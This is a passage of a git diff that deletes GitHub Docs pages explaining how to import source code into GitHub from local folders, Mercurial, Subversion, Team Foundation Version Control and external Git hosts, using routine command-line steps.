[AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository) - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository) -{% else %} - * End users can use third-party conversion tools. - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository) - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository) - * Site administrators can use the administrative shell. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell). -{% endif %} - -All of these tools import source code and revision history, only. If you also want to import your settings and your collaboration history, such as issues and pull requests, you'll need to use more advanced tools. To determine the best tool to use for your migration, see [AUTOTITLE](/migrations/overview/planning-your-migration-to-github). - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit) -{% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github.md deleted file mode 100644 index efd785a81e36..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github.md +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Adding locally hosted code to GitHub -intro: 'If your code is stored locally on your computer and is tracked by Git or not tracked by any version control system (VCS), you can import the code to {% data variables.product.github %} using {% data variables.product.prodname_cli %} or Git commands.' -redirect_from: - - /articles/add-an-existing-project-to-github - - /articles/adding-an-existing-project-to-github-using-the-command-line - - /github/importing-your-projects-to-github/adding-an-existing-project-to-github-using-the-command-line - - /github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Local code ---- - -## About importing source code - -{% data reusables.repositories.importing-context %} - -{% data reusables.repositories.sensitive-info-warning %} - -### Adding existing source code to {% data variables.product.github %} - -If you have source code stored locally on your computer that is tracked by Git or not tracked by any version control system (VCS), you can add the code to {% data variables.product.github %} by typing commands in a terminal. You can do this by typing Git commands directly. Alternatively, you can use {% data variables.product.prodname_cli %} or {% data variables.product.prodname_desktop %}. - -#### Using {% data variables.product.prodname_cli %} - -{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.github %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -#### Using {% data variables.product.prodname_desktop %} - -If you're most comfortable with a point-and-click user interface, consider adding your project with {% data variables.product.prodname_desktop %} instead. For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop). - -### Converting repositories from other VCS - -If your source code is tracked by a different VCS, such as Mercurial, Subversion, or Team Foundation Version Control, you must convert the repository to Git before you can add the project to {% data variables.product.github %}. - -* [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) -* [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository) -* [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository) - -## Initializing a Git repository - -If your locally-hosted code isn't tracked by any VCS, the first step is to initialize a Git repository. If your project is already tracked by Git, skip to [Importing a Git repository with the command line](#importing-a-git-repository-with-the-command-line). - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Navigate to the root directory of your project. -1. Initialize the local directory as a Git repository. By default, the initial branch is called `main`. - - If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. - - ```shell - git init -b main - ``` - - If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `git symbolic-ref`. - - ``` shell - git init && git symbolic-ref HEAD refs/heads/main - ``` - -1. Add the files in your new local repository. This stages them for the first commit. - - ```shell - $ git add . - # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} - ``` - -1. Commit the files that you've staged in your local repository. - - ```shell - $ git commit -m "First commit" - # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} - ``` - -## Importing a Git repository with the command line - -After you've initialized a Git repository, you can push the repository to {% data variables.product.github %}, using either {% data variables.product.prodname_cli %} or Git. - -* [Adding a local repository to {% data variables.product.prodname_dotcom %} with {% data variables.product.prodname_cli %}](#adding-a-local-repository-to-github-with-github-cli) -* [Adding a local repository to {% data variables.product.prodname_dotcom %} using Git](#adding-a-local-repository-to-github-using-git) - -### Adding a local repository to {% data variables.product.prodname_dotcom %} with {% data variables.product.prodname_cli %} - -1. To create a repository for your project on {% data variables.product.prodname_dotcom %}, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to {% data variables.product.prodname_dotcom %}** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `ORGANIZATION-NAME/PROJECT-NAME`. - -1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch. - -1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [{% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_repo_create). - -### Adding a local repository to {% data variables.product.prodname_dotcom %} using Git - -Before you can add your local repository to {% data variables.product.prodname_dotcom %} using Git, you must authenticate to {% data variables.product.prodname_dotcom %} on the command line. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github#authenticating-with-the-command-line). - -{% mac %} - -{% data reusables.migrations.create-empty-repo %} - -1. At the top of your repository on {% data variables.product.github %}'s Quick Setup page, click {% octicon "copy" aria-label="Copy to clipboard" %} to copy the remote repository URL. - - ![Screenshot of the "Quick Setup" header in a repository. Next to the remote URL, an icon of two overlapping squares is outlined in orange.](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory to your local project. -1. To add the URL for the remote repository where your local repository will be pushed, run the following command. Replace `REMOTE-URL` with the repository's full URL on {% data variables.product.prodname_dotcom %}. - - ```shell - git remote add origin REMOTE-URL - ``` - - For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). -1. To verify that you set the remote URL correctly, run the following command. - - ```shell - git remote -v - ``` - -1. To push the changes in your local repository to {% data variables.product.github %}, run the following command. - - ```shell - git push -u origin main - ``` - - If your default branch is not named "main," replace "main" with the name of your default branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% endmac %} - -{% windows %} - -{% data reusables.migrations.create-empty-repo %} - -1. At the top of your repository on {% data variables.product.github %}'s Quick Setup page, click {% octicon "copy" aria-label="Copy to clipboard" %} to copy the remote repository URL. - - ![Screenshot of the "Quick Setup" header in a repository. Next to the remote URL, an icon of two overlapping squares is outlined in orange.](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory to your local project. -1. To add the URL for the remote repository where your local repository will be pushed, run the following command. Replace `REMOTE-URL` with the repository's full URL on {% data variables.product.prodname_dotcom %}. - - ```shell - git remote add origin REMOTE-URL - ``` - - For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). -1. To verify that you set the remote URL correctly, run the following command. - - ```shell - git remote -v - ``` - -1. To push the changes in your local repository to {% data variables.product.github %}, run the following command. - - ```shell - git push origin main - ``` - - If your default branch is not named "main," replace "main" with the name of your default branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% endwindows %} - -{% linux %} - -{% data reusables.migrations.create-empty-repo %} - -1. At the top of your repository on {% data variables.product.github %}'s Quick Setup page, click {% octicon "copy" aria-label="Copy to clipboard" %} to copy the remote repository URL. - - ![Screenshot of the "Quick Setup" header in a repository. Next to the remote URL, an icon of two overlapping squares is outlined in orange.](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory to your local project. -1. To add the URL for the remote repository where your local repository will be pushed, run the following command. Replace `REMOTE-URL` with the repository's full URL on {% data variables.product.prodname_dotcom %}. - - ```shell - git remote add origin REMOTE-URL - ``` - - For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). -1. To verify that you set the remote URL correctly, run the following command. - - ```shell - git remote -v - ``` - -1. To push the changes in your local repository to {% data variables.product.github %}, run the following command. - - ```shell - git push origin main - ``` - - If your default branch is not named "main," replace "main" with the name of your default branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% endlinux %} - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line){% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit){% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository.md deleted file mode 100644 index 2c4fb0c28394..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Importing a Mercurial repository -intro: 'You can import a repository from Mercurial by converting the repository to Git, then pushing the Git repository to {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Mercurial ---- - -## Prerequisites - -To follow these steps, you must use a macOS or Linux system and have the following tools installed: - -* [Mercurial](https://www.mercurial-scm.org) -* [Git](https://git-scm.com/downloads) -* {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) (see [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage)) -* [Python](https://www.python.org), including the `pip` package manager - -## Importing a Mercurial repository - -{% data reusables.migrations.create-empty-repo %} -1. To confirm that Mercurial is installed on your machine, run `hg --version`. - - The output should be similar to `Mercurial Distributed SCM (version 6.4)`. -{% data reusables.migrations.confirm-git-installed %} -{% data reusables.migrations.confirm-git-lfs-installed %} -1. To confirm that `pip` is installed on your machine, run `pip --version`. - - The output should be similar to `pip 21.2.4`. -1. To install the `mercurial` Python package, run `pip install mercurial`. -1. Download the latest release of [fast-export](https://github.com/frej/fast-export/releases) to your machine, then extract the archive. -1. Move into the extracted directory, then run `./hg-fast-export.sh --help`. - - The output should start with `usage: hg-fast-export.sh`. -1. Clone your Mercurial repository. - - For example, to clone the source code of Mercurial itself to the `mercurial-repo` directory, run `hg clone https://www.mercurial-scm.org/repo/hg mercurial-repo`. -1. Create a new directory, move into the new directory, then initialize a fresh Git repository. - - For example, if you want to name your new repository `mercurial-git`, run `mkdir mercurial-git && cd mercurial-git && git init`. -{% data reusables.migrations.move-into-git-repo-directory %} -1. To configure your new Git repository to handle the case of filenames in the same way as Mercurial, run `git config core.ignoreCase false`. -1. To get a list of committers in your Mercurial project and store the list in `committers.txt`, run the following script. - - ```shell copy - hg log --template "{author}\n" | sort | uniq > committers.txt - ``` - -1. Update your `committers.txt` file, mapping the committer name used in the Mercurial repository to the name you want to use in your Git repository, with the following format: - - ```text - “The Octocat ”=”Octocat ” - ``` - -1. In your initialized Git repository, run `hg-fast-export.sh`, passing in the path to your Mercurial repository and the path to your `committers.txt` file as arguments. - - For example, `../fast-export-221024/hg-fast-export.sh -r ../mercurial-repo -A ../mercurial-repo/committers.txt -M main`. -1. After the import finishes, to check out your newly-created Git repository, run `git checkout HEAD`. -{% data reusables.migrations.add-github-repo-as-remote %} -{% data reusables.migrations.push-to-github %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit) -{% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository.md deleted file mode 100644 index 27a00ee47272..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Importing a Subversion repository -intro: 'You can import a repository from Subversion by converting the repository to Git, then pushing the Git repository to {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Subversion ---- - -## Prerequisites - -To follow these steps, you must use a macOS or Linux system and have the following tools installed: - -* [Subversion](https://subversion.apache.org) -* [Git](https://git-scm.com/downloads), including `git-svn` -* {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) (see [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage)) - -## Importing a Subversion repository - -{% data reusables.migrations.create-empty-repo %} -{% data reusables.migrations.confirm-git-installed %} -1. To confirm that `git svn` is available on your machine, run `git svn --version`. - - The output should be similar to `git-svn version 2.40.0 (svn 1.14.2)`. - - If you can run `git` successfully but encounter an error when running `git svn`, you may need to install `git svn` separately. We recommend using Homebrew or the Ubuntu package registry, which include `git-svn` packages. -{% data reusables.migrations.confirm-git-lfs-installed %} -1. Check out your Subversion repository. - - For example, to check out the Logisim open source project from Sourceforge, run `svn checkout https://svn.code.sf.net/p/circuit/code/trunk`. -1. Move into the directory for your Subversion repository. -1. To get a list of authors in your Subversion project and store the list in `authors.txt`, run the following script: - - ```shell copy - svn log -q | grep -e '^r' | awk 'BEGIN { FS = "|" } ; { print $2" = "$2 }' | sed 's/^[ \t]*//' | sort | uniq > authors.txt - ``` - -1. Update your `authors.txt` file, mapping the author name used in the Subversion repository to the name you want to use in your Git repository, with the following format: - - ```text - octocat = The Octocat - ``` - -1. To convert your Subversion repository to a Git repository, use `git svn`. - - * If your Subversion repository has a standard format, with “trunk”, “branches”, and “tags” folders, run `git svn clone -s URL PATH/TO/DESTINATION --authors-file PATH/TO/AUTHORS.TXT`, replacing `URL` with the URL of the Subversion repository, `PATH/TO/DESTINATION` with the path to the directory you want to clone the repository into, and `PATH/TO/AUTHORS.TXT` with the path to your `authors.txt` file. - - For example, to clone the Logisim project from Sourceforge into a directory called logisim, run `git svn clone -s https://svn.code.sf.net/p/circuit/code logisim --authors-file path/to/authors.txt`. - - * If your Subversion repository is non-standard, you can customize `git svn` to handle your repository. For more information, see [git-svn](https://git-scm.com/docs/git-svn) in the Git documentation. -1. Git will check out each SVN revision and turn the revision into a Git commit. If your repository has many files or a lot of history, this process will take a long time. - - For large repositories, the command may freeze. If so, you can begin where you ended by terminating the command with Ctrl+C, moving to your new directory, and then running `git svn fetch`. -{% data reusables.migrations.move-into-git-repo-directory %} -{% data reusables.migrations.add-github-repo-as-remote %} -{% data reusables.migrations.push-to-github %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit) -{% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository.md deleted file mode 100644 index 0cc1cf9d5699..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Importing a Team Foundation Version Control repository -intro: 'You can import a repository from Team Foundation Version Control (TFVC) by converting the repository to Git, then pushing the Git repository to {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Team Foundation Version Control ---- - -## About imports from Team Foundation Version Control - -We recommend using Azure Repos to convert your Team Foundation Version Control (TFVC) repository to Git. However, Azure Repos only migrates up to 180 days of history. If you wish to retain more history, you can use `git-tfs` instead. - -## Migrating with Azure Repos (recommended) - -> [!NOTE] -> Azure Repos only migrates up to 180 days of history. The state of your repository before the 180-day threshold will be migrated in a single initial commit. To retain more history, see [Migrating with `git-tfs`](#migrating-with-git-tfs). - -To follow these steps, you must use a macOS or Linux system and have the following tools installed: - -* [Git](https://git-scm.com/downloads) -* {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) (see [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage)) - -{% data reusables.migrations.create-empty-repo %} -{% data reusables.migrations.confirm-git-installed %} -{% data reusables.migrations.confirm-git-lfs-installed %} -1. Convert your TFVC repository to Git using Azure Repos. For instructions, see [Import repositories from TFVC to Git](https://learn.microsoft.com/en-us/azure/devops/repos/git/import-from-tfvc?view=azure-devops) in Microsoft Learn. -1. To clone your Azure Repos repository to your local machine, run `git clone --mirror URL`, replacing URL with the clone URL for your Azure DevOps repository. - - To identify the clone URL for your Azure DevOps repository, see [Get the clone URL of an Azure Repos Git repo](https://learn.microsoft.com/en-us/azure/devops/repos/git/clone?view=azure-devops&tabs=visual-studio-2022#get-the-clone-url-of-an-azure-repos-git-repo) in Microsoft Learn. -{% data reusables.migrations.add-github-repo-as-remote %} -{% data reusables.migrations.push-to-github %} - -## Migrating with `git-tfs` - -If you migrate with `git-tfs`, you will retain the full history of your TFVC repository. - -To follow these steps, you must use Windows and have the following tools installed: - -* [Visual Studio Team Explorer](https://devblogs.microsoft.com/devops/reintroducing-the-team-explorer-standalone-installer/) -* [`git-tfs`](https://github.com/git-tfs/git-tfs), installed using Chocolatey or by downloading the binary release manually -* [Git](https://git-scm.com/downloads) -* {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) (see [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage)) - -{% data reusables.migrations.create-empty-repo %} -{% data reusables.migrations.confirm-git-installed %} -1. To confirm that `git-tfs` is installed on your machine, run `git tfs --version`. - - The output should start with something similar to `git-tfs version 0.32.0.0 (TFS client library 16.0.0.0 (MS))`. - - If you get an output similar to `Unable to load DLL 'Microsoft.VisualStudio.Setup.Configuration.Native.dll': The specified module could not be found. (Exception from HRESULT: 0x8007007E)`, make sure that Visual Studio Team Explorer is correctly installed. -{% data reusables.migrations.confirm-git-lfs-installed %} -1. If you haven't already, configure Git with your name and email address by running `git config --global user.name "NAME"` and `git config --global user.email EMAIL`, replacing NAME with your name and EMAIL with your email address. -1. Run `git tfs clone`, passing your TFVC repository’s URL and repository path as arguments. For example, to convert the `example` repository from `https://dev.azure.com/octocat` into a Git repository stored in the `/example` directory, run `git tfs clone --branches=all https://dev.azure.com/octocat $/example`. -{% data reusables.migrations.move-into-git-repo-directory %} -{% data reusables.migrations.add-github-repo-as-remote %} -{% data reusables.migrations.push-to-github %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit) -{% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line.md deleted file mode 100644 index c8185cd1f77e..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Importing an external Git repository using the command line -intro: '{% ifversion fpt %}If your Git repository is stored on a code hosting service that is not accessible from the public internet, you can import the repository using Git on the command line.{% else %}If your source code is tracked in a Git repository, you can import the repository using Git on the command line.{% endif %}' -redirect_from: - - /articles/importing-a-git-repository-using-the-command-line - - /github/importing-your-projects-to-github/importing-a-git-repository-using-the-command-line - - /github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line - - /get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-an-external-git-repository-using-the-command-line -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: External Git repo ---- -Before you start, make sure you know: - -* Your {% data variables.product.github %} username -* The clone URL for the external repository, such as `https://external-host.com/user/repo.git` or `git://external-host.com/user/repo.git` (perhaps with a `user@` in front of the `external-host.com` domain name) - -> [!NOTE] -> For purposes of demonstration, we'll use: -> -> * An external account named **extuser** -> * An external Git host named `https://external-host.com` -> * A {% data variables.product.github %} personal account named **ghuser** -> * A repository on {% data variables.location.product_location %} named **repo.git** - -1. [Create a new repository on {% data variables.product.github %}](/repositories/creating-and-managing-repositories/creating-a-new-repository). You'll import your external Git repository to this new repository. -1. On the command line, make a "bare" clone of the external repository using the external clone URL. This creates a full copy of the data, but without a working directory for editing files, and ensures a clean, fresh export of all the old data. - - ```shell - $ git clone --bare https://external-host.com/EXTUSER/REPO.git - # Makes a bare clone of the external repository in a local directory - ``` - -1. Push the locally cloned repository to {% data variables.product.github %} using the "mirror" option, which ensures that all references, such as branches and tags, are copied to the imported repository. - - ```shell - $ cd REPO.git - $ git push --mirror https://{% data variables.product.product_url %}/USER/REPO.git - # Pushes the mirror to the new repository on {% data variables.location.product_location %} - ``` - -1. Remove the temporary local repository. - - ```shell - cd .. - rm -rf REPO.git - ``` - -If the repository you are importing contains large files, you may run into a warning or error. For more information on large files and how to manage them, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github). - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit) -{% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell.md deleted file mode 100644 index 6ed3c4860f83..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Importing from other version control systems with the administrative shell -intro: 'Using the administrative shell, you can import from Subversion, Mercurial and Team Foundation Version Control to Git repositories on {% data variables.product.prodname_ghe_server %}.' -redirect_from: - - /enterprise/admin/migrations/importing-data-from-third-party-version-control-systems - - /enterprise/admin/user-management/importing-data-from-third-party-version-control-systems - - /admin/user-management/importing-data-from-third-party-version-control-systems - - /admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Migration -shortTitle: Administrative shell -permissions: Site administrators can use the administrative shell to import data from other version control systems. ---- - -## Importing projects from Mercurial - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Make a raw clone of the project using the command below, specifying the URL of the source project, and a path to a temporary repository: - - ```shell - $ git-import-hg-raw HG-CLONE-URL/PATH/REPO-NAME.git - # Creates a new repository with one or more Git refs in "refs/import/" in the specified path. - ``` - -{% data reusables.enterprise_migrations.review-the-import-csv %} -1. Rewrite the authors and branches using the CSV file: - - ```shell - git-import-rewrite --flavor hg --authors /PATH/AUTHORS-MAP-FILE.csv /PATH/REPO-NAME.git - ``` - -1. If you haven't yet, [create a new empty repository on {% data variables.product.prodname_ghe_server %}](/repositories/creating-and-managing-repositories/creating-a-new-repository). -{% data reusables.command_line.switching_directories_procedural %} -1. Push the imported repository to {% data variables.product.prodname_ghe_server %}: - - ```shell - git push --mirror PUSH-URL-ON-GITHUB-ENTERPRISE - ``` - -## Importing projects from Subversion - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Make a raw clone of the project using the command below, specifying the URL of the source project, and a path to a temporary repository: - - ```shell - $ git-import-svn-raw SVN-CLONE-URL /PATH/REPO-NAME.git - # Creates a new repository with one or more Git refs in "refs/import/" in the specified path. - ``` - -{% data reusables.enterprise_migrations.review-the-import-csv %} -1. Rewrite the authors and branches using the CSV file: - - ```shell - git-import-rewrite --flavor svn --authors /PATH/AUTHORS-MAP-FILE.csv /PATH/REPO-NAME.git - ``` - -1. If you haven't yet, [create a new empty repository on {% data variables.product.prodname_ghe_server %}](/repositories/creating-and-managing-repositories/creating-a-new-repository). -{% data reusables.command_line.switching_directories_procedural %} -1. Push the imported repository to {% data variables.product.prodname_ghe_server %}: - - ```shell - git push --mirror PUSH-URL-ON-GITHUB-ENTERPRISE - ``` - -## Importing projects from Team Foundation Version Control - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Make a raw clone of the project using the command below, specifying the URL of the source project, and a path to a temporary repository: - - ```shell - $ git-import-tfs-raw TEAM-FOUNDATION-CLONE-URL /PATH/REPO-NAME.git - # Creates a new repository with one or more Git refs in "refs/import/" in the specified path. - ``` - -{% data reusables.enterprise_migrations.review-the-import-csv %} -1. Rewrite the authors and branches using the CSV file: - - ```shell - git-import-rewrite --flavor tfs --authors /PATH/AUTHORS-MAP-FILE.csv /PATH/REPO_NAME.git - ``` - -1. If you haven't yet, [create a new empty repository on {% data variables.product.prodname_ghe_server %}](/repositories/creating-and-managing-repositories/creating-a-new-repository). -{% data reusables.command_line.switching_directories_procedural %} -1. Push the imported repository to {% data variables.product.prodname_ghe_server %}: - - ```shell - git push --mirror PUSH-URL-ON-GITHUB-ENTERPRISE - ``` - -## Further reading - -* [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#import-and-export){% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/using-git/troubleshooting-the-2-gb-push-limit){% endif %} diff --git a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/index.md b/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/index.md deleted file mode 100644 index ad38f26af09b..000000000000 --- a/content/migrations/importing-source-code/using-the-command-line-to-import-source-code/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Using the command line to import source code -intro: "To import source code{% ifversion fpt or ghec%} that is not accessible from the public internet{% endif %}, you can use command line tools." -versions: - fpt: '*' - ghec: '*' - ghes: '*' -# topics: -children: - - /about-source-code-imports-using-the-command-line - - /adding-locally-hosted-code-to-github - - /importing-an-external-git-repository-using-the-command-line - - /importing-a-subversion-repository - - /importing-a-mercurial-repository - - /importing-a-team-foundation-version-control-repository - - /importing-from-other-version-control-systems-with-the-administrative-shell -shortTitle: Command line -redirect_from: - - /articles/importing-from-subversion - - /articles/source-code-migration-tools - - /github/importing-your-projects-to-github/source-code-migration-tools - - /github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools - - /migrations/importing-source-code/using-the-command-line-to-import-source-code/source-code-migration-tools ---- diff --git a/content/migrations/index.md b/content/migrations/index.md deleted file mode 100644 index e68aa8eb5b1f..000000000000 --- a/content/migrations/index.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Migrations documentation -shortTitle: Migrations -intro: 'If you''re moving to {% data variables.product.prodname_dotcom %} from another code hosting platform or moving between {% data variables.product.prodname_dotcom %} products, learn how to use our migration tooling to bring your work with you.' -introLinks: - overview: /migrations/overview/about-githubs-migration-tooling - plan_your_migration: /migrations/overview/planning-your-migration-to-github -featuredLinks: - startHere: - - /migrations/importing-source-code/using-github-importer/about-github-importer - - /migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer - - /actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer#about-github-actions-importer - popular: - - /migrations/importing-source-code/using-github-importer/importing-a-repository-with-github-importer - - /migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github - - /migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud - guideCards: - - /migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer - - /migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer -layout: product-landing -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Administrator - - Enterprise - - Migration - - Organizations - - Repositories -children: - - /overview - - /importing-source-code - - /using-github-enterprise-importer - - /using-ghe-migrator ---- - diff --git a/content/migrations/overview/about-githubs-migration-tooling.md b/content/migrations/overview/about-githubs-migration-tooling.md deleted file mode 100644 index ab140cc0fefb..000000000000 --- a/content/migrations/overview/about-githubs-migration-tooling.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: About GitHub's migration tooling -shortTitle: GitHub's migration tooling -intro: '{% data variables.product.company_short %} provides a variety of different tooling options to support migrations to {% data variables.product.company_short %} and between {% data variables.product.company_short %} products.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.migrations.about-migrations %} - -{% data variables.product.company_short %} provides a variety of different tools to support these migrations. Different tools support different migration pathways and provide different levels of migration fidelity. - -Some tools, like {% data variables.product.prodname_importer_proper_name %} migrate the current state of your code, all of the code's history, plus your settings and collaboration history, such as issues and pull requests. Other tools migrate only your code and its history, or even the code alone. - -To determine the best tool for your migration and learn how to make your migration successful, see [AUTOTITLE](/migrations/overview/planning-your-migration-to-github). diff --git a/content/migrations/overview/about-locked-repositories.md 